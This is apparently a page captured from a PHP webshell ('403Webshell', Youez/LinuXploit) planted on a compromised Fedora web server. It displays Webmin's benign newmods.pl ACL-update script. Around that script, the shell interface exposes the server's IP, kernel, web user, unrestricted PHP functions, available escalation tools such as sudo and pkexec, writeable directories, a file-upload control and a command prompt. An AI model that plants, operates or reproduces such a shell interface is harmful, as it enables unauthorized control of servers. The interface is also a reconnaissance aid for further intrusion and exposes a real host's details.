403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/newmods.pl
# newmods.pl
# Updates an acl file to include new modules. Called with the parameters
# <config directory> <module>+

for($i=1; $i<@ARGV; $i++) {
	if (!(-d "$ARGV[0]/$ARGV[$i]")) {
		push(@new, $ARGV[$i]);
		}
	}

if (@new) {
	# Read in the existing file
	open(ACL, "$ARGV[0]/webmin.acl");
	@acl = <ACL>;
	close(ACL);

	# Get the list of users to grant new modules to
	if (open(NEWMODS, "$ARGV[0]/newmodules")) {
		while(<NEWMODS>) {
			s/\r|\n//g;
			$users{$_}++ if (/\S/);
			}
		close(NEWMODS);
		$newmods++;
		}

	if ($newmods) {
		# Find the users to add to
		for($i=0; $i<@acl; $i++) {
			if ($acl[$i] =~ /^(\S+):/ && $users{$1}) {
				push(@pos, $i);
				}
			}
		}
	else {
		# Just use 'root' or 'admin' or the first user in the file
		$pos[0] = 0;
		for($i=0; $i<@acl; $i++) {
			if ($acl[$i] =~ /^(\S+):/ &&
			    ($1 eq 'root' || $1 eq 'admin')) {
				$pos[0] = $i;
				last;
				}
			}
		}

	# Update it with new modules
	foreach $pos (@pos) {
		$acl[$pos] =~ /^(\S+):\s*(.*)$/ || next;
		$name = $1; @list = split(/\s+/, $2);
		foreach $o (@list) { $old{$o}++; }
		foreach $n (@new) {
			push(@list, $n) if (!$old{$n});
			}
		$acl[$pos] = "$name: ".join(" ",@list)."\n";
		}

	# Write it out
	open(ACL, ">$ARGV[0]/webmin.acl");
	print ACL @acl;
	close(ACL);
	}


Youez - 2016 - github.com/yon3zu
LinuXploit